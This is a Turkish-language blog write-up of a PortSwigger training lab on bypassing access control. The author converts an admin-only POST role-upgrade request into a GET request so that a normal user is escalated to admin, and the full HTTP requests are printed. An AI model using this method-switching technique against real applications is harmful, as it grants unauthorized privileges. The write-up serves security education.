İçeriğe geç

PortSwigger Access Control Lab 11: Method-based Access Control Can Be Circumvented

Bu labda, PortSwigger Web Security Academy’nin Access Control kategorisindeki “Method-based access control can be circumvented” senaryosunu inceliyoruz. Uygulama, erişim kontrollerini kısmen isteğin HTTP metoduna göre uyguluyor. Yönetici yetkisi gerektiren rol değiştirme isteği POST yerine GET olarak gönderildiğinde, normal bir kullanıcı bu kontrolü aşabiliyor. Amacımız, yönetim panelinin işleyişini inceledikten sonra bize verilen normal kullanıcı hesabıyla kendi yetkimizi yönetici seviyesine yükselterek labı çözmek. Lab bağlantısı.

Öncekilere oranla biraz farklı bir lab gibi. Admin credential’ları ile admin paneline gir ve aşinalık kazan diyor. Daha sonrasında da mevcut credential’ı admin yap diyor.

İlk olarak admin panele girdim ve incelemelerimi yaptım.

Yukarıdaki gibi bir panel vardı ve kendi kullanıcımı admin rolüne çektim. Daha sonrasında da tekrar düşürdüm. İstekler aşağıdaki gibiydi.

POST /admin-roles HTTP/2
Host: 0ac100ee04a5145d819484ce00ac00d4.web-security-academy.net
Cookie: session=K9Gw41qztuxkJdf1UNf8Pq6xSI6PuKrc
Content-Length: 30
Cache-Control: max-age=0
Sec-Ch-Ua: "Not:A-Brand";v="8", "Chromium";v="156"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: tr-TR,tr;q=0.9
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36
Origin: https://0ac100ee04a5145d819484ce00ac00d4.web-security-academy.net
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ac100ee04a5145d819484ce00ac00d4.web-security-academy.net/admin
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

username=wiener&action=upgrade
POST /admin-roles HTTP/2
Host: 0ac100ee04a5145d819484ce00ac00d4.web-security-academy.net
Cookie: session=K9Gw41qztuxkJdf1UNf8Pq6xSI6PuKrc
Content-Length: 32
Cache-Control: max-age=0
Sec-Ch-Ua: "Not:A-Brand";v="8", "Chromium";v="156"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: tr-TR,tr;q=0.9
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36
Origin: https://0ac100ee04a5145d819484ce00ac00d4.web-security-academy.net
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ac100ee04a5145d819484ce00ac00d4.web-security-academy.net/admin
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

username=carlos&action=downgrade

Daha sonrasında yükseltme isteğini Repeater’a attım ve normal kullanıcı ile girip onun session’ı ile tekrar bu isteği denedim. Ancak hata aldım. Daha sonrasında lab açıklamasını okuduğumda HTTP isteklerine atıfta bulunduğundan dolayı POST isteğini GET isteğine çevirmeyi denedim. İstek aşağıdaki gibi oldu:

GET /admin-roles?username=wiener&action=upgrade HTTP/2
Host: 0ac100ee04a5145d819484ce00ac00d4.web-security-academy.net
Cookie: session=qrNYF12ECrPmByJCIvbgNvpDIK1UozBN
Content-Length: 0
Cache-Control: max-age=0
Sec-Ch-Ua: "Not:A-Brand";v="8", "Chromium";v="156"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: tr-TR,tr;q=0.9
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36
Origin: https://0ac100ee04a5145d819484ce00ac00d4.web-security-academy.net
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ac100ee04a5145d819484ce00ac00d4.web-security-academy.net
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

İşe yaradı.

Kategori:Web

İlk Yorumu Siz Yapın

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir